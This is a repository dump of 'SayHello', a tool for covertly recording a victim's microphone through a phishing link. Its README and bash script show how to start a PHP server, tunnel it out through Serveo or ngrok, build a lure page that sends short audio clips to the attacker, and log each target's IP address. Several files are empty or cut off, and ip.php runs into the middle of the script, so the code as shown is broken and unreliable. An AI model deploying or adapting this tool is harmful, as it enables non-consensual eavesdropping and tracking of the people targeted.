├── README.md
├── index2.html
├── ip.php
├── js
└── _app.js
├── sayhello.sh
├── template.php
└── upload.php
/README.md:
--------------------------------------------------------------------------------
1 | # SAyHello v1.0
2 | ## Author: github.com/thelinuxchoice/sayhello
3 | ## Twitter: twitter.com/linux_choice
4 |
5 | Capturing audio (.wav) from target using a link
6 |
7 | 
8 |
9 | ### How it works?
10 |
11 | After the user grants microphone permissions, a website redirect button of your choice is released to distract the target while small audio files (about 4 seconds in wav format) are sent to the attacker.
12 | It uses Recorderjs, plugin for recording/exporting the output of Web Audio API nodes (https://github.com/mattdiamond/Recorderjs)
13 |
14 | ### Features:
15 |
16 | Port Forwarding using Serveo or Ngrok
17 |
18 | ## Legal disclaimer:
19 |
20 | Usage of SayHello for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
21 |
22 | ### Usage:
23 | ```
24 | git clone https://github.com/thelinuxchoice/sayhello
25 | cd sayhello
26 | bash sayhello.sh
27 | ```
28 |
29 | ### Donate!
30 | Support the authors:
31 | ### Paypal:
32 | https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=CLKRT5QXXFJY4&source=url
33 | ### LiberaPay:
34 |
35 |
--------------------------------------------------------------------------------
/index2.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
62 |
63 |
64 |
65 |
66 |
67 | Redirect to Website
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
--------------------------------------------------------------------------------
/ip.php:
--------------------------------------------------------------------------------
1 | /dev/null 2>&1
35 | killall -2 ngrok > /dev/null 2>&1
36 | fi
37 |
38 | if [[ $checkphp == *'php'* ]]; then
39 | killall -2 php > /dev/null 2>&1
40 | fi
41 | if [[ $checkssh == *'ssh'* ]]; then
42 | killall -2 ssh > /dev/null 2>&1
43 | fi
44 | exit 1
45 |
46 | }
47 |
48 | dependencies() {
49 |
50 |
51 | command -v php > /dev/null 2>&1 || { echo >&2 "I require php but it's not installed. Install it. Aborting."; exit 1; }
52 |
53 |
54 |
55 | }
56 |
57 | catch_ip() {
58 |
59 | ip=$(grep -a 'IP:' ip.txt | cut -d " " -f2 | tr -d '\r')
60 | IFS=$'\n'
61 | printf "\e[1;93m[\e[0m\e[1;77m+\e[0m\e[1;93m] IP:\e[0m\e[1;77m %s\e[0m\n" $ip
62 |
63 | cat ip.txt >> saved.ip.txt
64 |
65 |
66 | }
67 |
68 | checkfound() {
69 |
70 | printf "\n"
71 | printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Waiting targets,\e[0m\e[1;77m Press Ctrl + C to exit...\e[0m\n"
72 | while [ true ]; do
73 |
74 |
75 | if [[ -e "ip.txt" ]]; then
76 | printf "\n\e[1;92m[\e[0m+\e[1;92m] Target opened the link!\n"
77 | catch_ip
78 | rm -rf ip.txt
79 |
80 | fi
81 |
82 | sleep 0.5
83 |
84 | if [[ -e "Log.log" ]]; then
85 | printf "\n\e[1;92m[\e[0m+\e[1;92m] Audio file received!\e[0m\n"
86 | rm -rf Log.log
87 | fi
88 | sleep 0.5
89 |
90 | done
91 |
92 | }
93 |
94 |
95 | server() {
96 |
97 | command -v ssh > /dev/null 2>&1 || { echo >&2 "I require ssh but it's not installed. Install it. Aborting."; exit 1; }
98 |
99 | printf "\e[1;77m[\e[0m\e[1;93m+\e[0m\e[1;77m] Starting Serveo...\e[0m\n"
100 |
101 | if [[ $checkphp == *'php'* ]]; then
102 | killall -2 php > /dev/null 2>&1
103 | fi
104 |
105 | if [[ $subdomain_resp == true ]]; then
106 |
107 | $(which sh) -c 'ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R '$subdomain':80:localhost:3333 serveo.net 2> /dev/null > sendlink ' &
108 |
109 | sleep 8
110 | else
111 | $(which sh) -c 'ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:3333 serveo.net 2> /dev/null > sendlink ' &
112 |
113 | sleep 8
114 | fi
115 | printf "\e[1;77m[\e[0m\e[1;33m+\e[0m\e[1;77m] Starting php server... (localhost:3333)\e[0m\n"
116 | fuser -k 3333/tcp > /dev/null 2>&1
117 | php -S localhost:3333 > /dev/null 2>&1 &
118 | sleep 3
119 | send_link=$(grep -o "https://[0-9a-z]*\.serveo.net" sendlink)
120 | printf '\e[1;93m[\e[0m\e[1;77m+\e[0m\e[1;93m] Direct link:\e[0m\e[1;77m %s\n' $send_link
121 |
122 | }
123 |
124 |
125 | payload_ngrok() {
126 |
127 | link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io")
128 | sed 's+forwarding_link+'$link'+g' template.php > index.php
129 | sed 's+redirect_link+'$redirect_link'+g' js/_app.js > js/app.js
130 |
131 |
132 | }
133 |
134 | ngrok_server() {
135 |
136 |
137 | if [[ -e ngrok ]]; then
138 | echo ""
139 | else
140 | command -v unzip > /dev/null 2>&1 || { echo >&2 "I require unzip but it's not installed. Install it. Aborting."; exit 1; }
141 | command -v wget > /dev/null 2>&1 || { echo >&2 "I require wget but it's not installed. Install it. Aborting."; exit 1; }
142 | printf "\e[1;92m[\e[0m+\e[1;92m] Downloading Ngrok...\n"
143 | arch=$(uname -a | grep -o 'arm' | head -n1)
144 | arch2=$(uname -a | grep -o 'Android' | head -n1)
145 | if [[ $arch == *'arm'* ]] || [[ $arch2 == *'Android'* ]] ; then
146 | wget --no-check-certificate https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip > /dev/null 2>&1
147 |
148 | if [[ -e ngrok-stable-linux-arm.zip ]]; then
149 | unzip ngrok-stable-linux-arm.zip > /dev/null 2>&1
150 | chmod +x ngrok
151 | rm -rf ngrok-stable-linux-arm.zip
152 | else
153 | printf "\e[1;93m[!] Download error... Termux, run:\e[0m\e[1;77m pkg install wget\e[0m\n"
154 | exit 1
155 | fi
156 |
157 | else
158 | wget --no-check-certificate https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip > /dev/null 2>&1
159 | if [[ -e ngrok-stable-linux-386.zip ]]; then
160 | unzip ngrok-stable-linux-386.zip > /dev/null 2>&1
161 | chmod +x ngrok
162 | rm -rf ngrok-stable-linux-386.zip
163 | else
164 | printf "\e[1;93m[!] Download error... \e[0m\n"
165 | exit 1
166 | fi
167 | fi
168 | fi
169 |
170 | printf "\e[1;92m[\e[0m+\e[1;92m] Starting php server...\n"
171 | php -S 127.0.0.1:3333 > /dev/null 2>&1 &
172 | sleep 2
173 | printf "\e[1;92m[\e[0m+\e[1;92m] Starting ngrok server...\n"
174 | ./ngrok http 3333 > /dev/null 2>&1 &
175 | sleep 10
176 |
177 | link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io")
178 | printf "\e[1;92m[\e[0m*\e[1;92m] Direct link:\e[0m\e[1;77m %s\e[0m\n" $link
179 |
180 | payload_ngrok
181 | checkfound
182 | }
183 |
184 | start1() {
185 | if [[ -e sendlink ]]; then
186 | rm -rf sendlink
187 | fi
188 |
189 | printf "\n"
190 | printf "\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Serveo.net\e[0m\n"
191 | printf "\e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Ngrok\e[0m\n"
192 | default_option_server="1"
193 | read -p $'\n\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Choose a Port Forwarding option: \e[0m' option_server
194 | option_server="${option_server:-${default_option_server}}"
195 |
196 | default_redirect="https://youtube.com"
197 | printf "\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Choose a distracting website (Default:\e[0m\e[1;77m %s\e[0m\e[1;92m ): \e[0m" $default_redirect
198 | read redirect_link
199 | redirect_link="${redirect_link:-${default_redirect}}"
200 |
201 | if [[ $option_server -eq 1 ]]; then
202 |
203 | command -v php > /dev/null 2>&1 || { echo >&2 "I require ssh but it's not installed. Install it. Aborting."; exit 1; }
204 | start
205 |
206 | elif [[ $option_server -eq 2 ]]; then
207 | ngrok_server
208 | else
209 | printf "\e[1;93m [!] Invalid option!\e[0m\n"
210 | sleep 1
211 | clear
212 | start1
213 | fi
214 |
215 | }
216 |
217 |
218 | payload() {
219 |
220 | send_link=$(grep -o "https://[0-9a-z]*\.serveo.net" sendlink)
221 |
222 |
223 | sed 's+forwarding_link+'$send_link'+g' template.php > index.php
224 | sed 's+redirect_link+'$redirect_link'+g' js/_app.js > js/app.js
225 |
226 |
227 | }
228 |
229 | start() {
230 |
231 | default_choose_sub="Y"
232 | default_subdomain="sayhello$RANDOM"
233 |
234 | printf '\e[1;33m[\e[0m\e[1;77m+\e[0m\e[1;33m] Choose subdomain? \e[0m\e[1;77m [Y/n] \e[0m\e[1;33m: \e[0m'
235 | read choose_sub
236 | choose_sub="${choose_sub:-${default_choose_sub}}"
237 | if [[ $choose_sub == "Y" || $choose_sub == "y" || $choose_sub == "Yes" || $choose_sub == "yes" ]]; then
238 | subdomain_resp=true
239 | printf '\e[1;33m[\e[0m\e[1;77m+\e[0m\e[1;33m] Subdomain (Default:\e[0m\e[1;77m %s \e[0m\e[1;33m): \e[0m' $default_subdomain
240 | read subdomain
241 | subdomain="${subdomain:-${default_subdomain}}"
242 | fi
243 |
244 | server
245 | payload
246 | checkfound
247 |
248 | }
249 |
250 | banner
251 | dependencies
252 | start1
253 |
254 |
--------------------------------------------------------------------------------
/template.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/upload.php:
--------------------------------------------------------------------------------
1 |
16 |
--------------------------------------------------------------------------------